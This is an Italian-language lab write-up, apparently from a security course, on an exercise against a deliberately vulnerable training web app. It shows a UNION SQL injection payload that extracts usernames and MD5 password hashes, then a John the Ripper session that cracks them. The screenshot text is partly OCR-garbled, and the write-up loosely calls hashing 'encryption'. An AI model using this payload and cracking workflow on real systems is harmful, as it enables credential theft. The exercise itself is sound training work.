## W14D1

Recuperate le password dal DB come visto, e provate ad eseguire delle sessioni di cracking sulla password per recuperare la loro versione in chiaro.

## Punto 1.

Screenshot dell'SQL injection già effettuata

1' UNION SELECT user, password FROM users#

La SQLI chiede al database (#) di estrarre gli users con le rispettive password.

	Vulnerability: SQL Injection
s	User ID:
	Submit
ce	ID: 1' UNION SELECT user, password FROM users#
d Execution	First name: admin
	Surname: admin
	ID: 1' UNION SELECT user, password FROM users#
ısion	First name: admin
tion	Surname: 5f4dcc3b5aa765d61d8327deb882cf99
ction (Blind)	ID: 1' UNION SELECT user, password FROM users#
ztion (Billiu)	First name: gordonb Surname: e99a18c428cb38d5f260853678922e03
	5ulliame. e99d16C426CD36u31200633076922e03
ected	ID: 1' UNION SELECT user, password FROM users#
ed	First name: 1337 Surname: 8d3533d75ae2c3966d7e0d4fcc69216b
ea	Surname: 8035330/5ae2C39660/e004TCC69216D
	ID: 1' UNION SELECT user, password FROM users#
ecurity	First name: pablo
	Surname: 0d107d09f5bbe40cade3de5c71e9e9b7
	ID: 1' UNION SELECT user, password FROM users#
	First name: smithy
	Surname: 5f4dcc3b5aa765d61d8327deb882cf99

Come vediamo tramite SQLI (visto che il sito non disinfetta I input)siamo riusciti ad ottenere la lista completa dei utenti con le loro rispettive password. Possiamo notare che le password sono criptografate in md5 (modello di criptografia hash) cosi sono inutilizzabili.

Per riuscire ad ottenere la password in "chiaro" abbiamo bisogno di crackarle.

Si puo utilizzare John the ripper.

John the Ripper è un tool di password cracking piuttosto popolare scritto per i sistemi operativi basati su Unix.Fa uso della parallelizzazione dei task per ridurre i tempi di cracking durante una sessione brute force, ed e altamente configurabile.

Quindi selezioniamo le password e inseriamole dentro un file .txt esempio Hash.txt

## E scriviamo il comando john -format=RAW-MD5 <file.txt>

```
(kali® kali)-[~]
$ john -- format=RAW-MD5 Hash.txt
Using default input encoding: UTF-8
Loaded 5 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8×3])
Warning: no OpenMP support for this hash type, consider -- fork=8
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
password (?)
password (?)
password (?)
letmein (?)
Proceeding with incremental:ASCII
charley (?)
5g 0:00:00:00 DONE 3/3 (2024-03-12 14:42) 31.25g/s 1114Kp/s 1114Kc/s 1124KC/s stevy13..candake
Use the "--show -- format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.

(kali® kali)-[~]
```

vediamo come il tool esamindo e confrontando le password in hash riesce a decriptarle e restituirle in chiaro.